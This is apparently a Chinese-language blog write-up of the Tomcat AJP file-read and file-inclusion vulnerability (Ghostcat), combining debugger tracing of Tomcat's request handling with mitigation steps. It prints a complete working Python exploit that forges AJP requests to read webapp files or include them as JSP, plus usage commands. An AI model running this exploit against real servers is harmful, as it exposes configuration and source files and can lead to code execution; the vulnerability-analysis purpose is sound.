file创建java 漏洞 java文件包含漏洞

前言：其实在老的内网，一些Tomcat服务的8009 AJP服务还是开放的很多，自己之前也遇到过很多，在写这篇文章的时候自己已经过了一遍Tomcat的架构，顺便从原理上面来学习下这个漏洞

参考文章：https://zhuanlan.zhihu.com/p/137527937

Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。
Apache Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp 配置文件或源代码等。

这里的"webapp 目录下的任意文件"，我感觉说法是错的，在自己的调试测试发现，其实"webapp目录应用下的任意文件"才是更加准确。

环境搭建和漏洞利用

该文件包含漏洞影响以下版本：

7.*分支7.0.100之前版本，建议更新到7.0.100版本；

8.*分支8.5.51之前版本，建议更新到8.5.51版本；

9.*分支9.0.31之前版本，建议更新到9.0.31版本。

所以这里环境搭建就直接拿相关受影响的版本即可，我这里用的是Tomcat 8.0.50

原生Tomcat环境搭建

漏洞利用脚本:

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# Based on: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
#
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
import socket
import struct
import argparse


def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD,
                       'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route",
                  "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(
        7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[], lfi=False):
        if lfi:
            self.req_uri = req_uri + '.jspx'
        else:
            self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(
            self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" %
              (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                "%s:%s" % (user, password)).encode('base64').replace('\n', '')
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(
            self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" %
                  snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009,
                    help="AJP port to attack (default is 8009)")
parser.add_argument('-w', '--webapp', type=str, default='ROOT',
                    help="Which webapp to attack (default is ROOT")
parser.add_argument('-f', '--file', type=str,
                    default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('-l', '--lfi', action="store_true",
                    help="local file include")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request('/'+args.webapp+'/', attributes=[
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)
print('----------------------------')
print("".join([d.data for d in data]))

读取文件

python2 tomcat-lif-readfile.py 127.0.0.1 -p 8009 -w manage -f index.jsp

文件包含

python2 tomcat-lif-readfile.py 127.0.0.1 -p 8009 -w shiro -f calc.txt

这里包含了calc.txt中的内容，弹出对应的calc程序

读取文件漏洞分析

tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网IP。

想要通过AJP协议来跟Tomcat交互，那么肯定是需要了解相关的AJP协议然后写出对应的封装数据包的代码的，这里直接用上面的代码进行测试。

主要的变动为如下代码，可以看到指定了相关的webapp目录，以及请求文件的目录

_, data = t.perform_request('/'+args.webapp+'/', attributes=[
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)

因为是AJP协议进行处理，所以自己就直接定位到Tomcat中处理相关AJP的类中进行调试，如下图所示

来到 中org/apache/coyote/ajp/AjpProcessor.java的prepareRequest方法，该方法就是专门处理基于AJP协议传输过来的数据的，这里打个断点来进行分析

python2 tomcat-lif-readfile.py 127.0.0.1 -p 8009

下面的部分都是对当前请求的请求头信息先进行解析操作

往下走，接着就通过case语句开始对额外的信息属性进行解析，也可以我们这里自定义传输的req_attribute字段

一共自定义了三个req_attribute 所以这里就会解析三次，获得的对应数据都放置到当前的request对象中去，如下图所示

对request相关的信息包装好了之后，接下来就进行解析操作

最终来到了这里，调用栈如下

invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:92, StandardContextValve (org.apache.catalina.core)
invoke:544, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:134, StandardHostValve (org.apache.catalina.core)
invoke:82, ErrorReportValve (org.apache.catalina.valves)
invoke:679, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:84, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:482, AjpProcessor (org.apache.coyote.ajp)
process:68, AbstractProcessorLight (org.apache.coyote)
process:823, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1635, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:53, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

接着Filter走完了之后，最后就是执行该Servlet处理了

该servlet的service方法，因为Tomcat的Servlet默认都是继承HttpServlet，所以这里调用的就是HttpServlet的service方法

进入到doGet类型的方法中，如下图所示，接着就是开始读取资源

那么它是如何进行读取资源的呢？它会将对应文件的资源读到WebResource对象中去，如下图所示

最终将读取的内容进行刷新输出。

Tomcat在处理的时候是如何辨别用JspServlet 还是 httpServlet 来进行处理的？

这个也就是文件包含的处理，如果JspServlet处理的时候也就是进行RCE操作，它会执行以jsp来执行其中的内容。

java/org/apache/catalina/connector/CoyoteAdapter.java#postParseRequest

CoyoteAdapter在Tomcat中起到的作用就是对相关的request对象进行包装Servlet对象，那么对于其中的jsp还是http也是由该对象进行处理的。

postParseRequest中调用的一个map方法就会进行判断

connector.getService().getMapper().map(serverName, decodedURI,
                    version, request.getMappingData());

继续一直跟进去 internalMapWrapper:920, Mapper ， internalMapExtensionWrapper方法就会对请求的路径来进行判断

如果后缀名为jsp 或者 jspx的话，那么最后保存的当前wapper都是jspServlet

最后StandardWrapper就是为 StandardEngine[Catalina].StandardHost[localhost].StandardContext[/shiro].StandardWrapper[jsp] ，其中的servlerClass为jspServlet

最后从StandardWrapper中取出来的Servlet就是jspServlet了，如下图所示

webapps根目录下是否可以进行读取

比如webapps/text.txt

我自己跟过，不行，因为ajp13://127.0.0.1:8009/./，这样走的默认还是读ROOT目录下的

然后我又尝试正常的一个目录，然后 ../calc.txt，它其中又有对../的过滤，直接报错，所以最终以失败告终。

SpringBoot的环境是否可以利用ajp协议进行文件操作？

我自己跟着看是发现不能的，因为首先SpringBoot自己用的Servlet跟Tomcat的不一样，剩下的都是完全是自己的逻辑处理。

解决方案

1、临时禁用AJP协议端口，在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

2、配置ajp配置中的secretRequired跟secret属性来限制认证

3、官方下载最新版下载地址：

https://tomcat.apache.org/download-70.cgihttps://tomcat.apache.org/download-80.cgihttps://tomcat.apache.org/download-90.cgi